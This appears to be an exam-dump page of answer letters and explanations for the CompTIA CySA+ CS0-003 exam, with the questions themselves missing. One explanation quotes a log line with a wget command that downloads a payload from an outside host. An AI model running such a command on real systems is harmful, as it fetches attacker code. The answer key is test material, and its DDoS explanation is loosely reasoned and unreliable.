Important CompTIA CS0-003 Exam Questions

Answer: A

Explanation:

The key goal of the containment stage in an incident response process is to limit further damage from occurring. This involves taking immediate steps to isolate the affected systems or network segments to prevent the spread of the incident and mitigate its impact. Containment strategies can be short-term, to quickly stop the incident, or long-term, to prepare for the eradication and recovery phases.

Answer: B

Explanation:

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

Answer: C

Explanation:

A distributed denial-of-service (DDoS) attack is a type of cyberattack that aims to overwhelm a target's network or server with a large volume of traffic from multiple sources. A common technique for launching a DDoS attack is to compromise DNS servers, which are responsible for resolving domain names into IP addresses. By flooding DNS servers with malicious requests, attackers can disrupt the normal functioning of the internet and prevent users from accessing external SaaS resources. Official Reference: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/

Answer: A

Explanation:

Comprehensive and Detailed Explanation From Exact Extract:

The issue is that laptops are often off-network (traveling), causing inaccurate network-scan metrics and slower detection. The best way to reduce MTTD (mean time to detect vulnerabilities) for roaming endpoints is agent-based scanning, because agents run continuously on endpoints and can still scan/report results even when devices are not connected to the corporate network.

Exact extract (All-in-One Exam Guide):

''Because the agents run continuously on each host, mobile devices can still be scanned even when they are not connected to the corporate network.''

It further emphasizes suitability for mobile devices:

Exact extract (All-in-One Exam Guide):

''agent-based (or serverless) vulnerability scans are typically better for scanning mobile devices.''

And Sybex Practice Tests directly supports this scenario (traveling sales laptops) by selecting agent-based scanning as best for accurate config visibility on traveling laptops:

Exact extract (Sybex Practice Tests):

''...most accurate view of configuration issues on laptops belonging to traveling salespeople. Which technology will work best...? A. Agent-based scanning''

Why the other options don't solve the ''traveling laptops'' problem:

B (credentialed scans): improves depth/accuracy when the device is reachable, but does nothing when laptops are offline/not on the network.

C (more frequent network scans): still misses devices that aren't connected.

D (increase runtime): waiting longer doesn't reduce MTTD; it just delays reporting and still won't scan an off-network device.

Reference (CompTIA CySA+ CS0-003 documents / study guides used):

Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): agents scan continuously; mobile devices can be scanned off-network; agent-based better for mobile devices

Answer: B

Explanation:

Agent-based vulnerability scanning is a method that uses software agents installed on the target systems to scan for vulnerabilities. This method meets the requirements of the project because it uses minimal network bandwidth and host resources, provides accurate and near real-time updates, and does not require any stored credentials on the scanner. Reference: What Is Vulnerability Scanning? Types, Tools and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 154.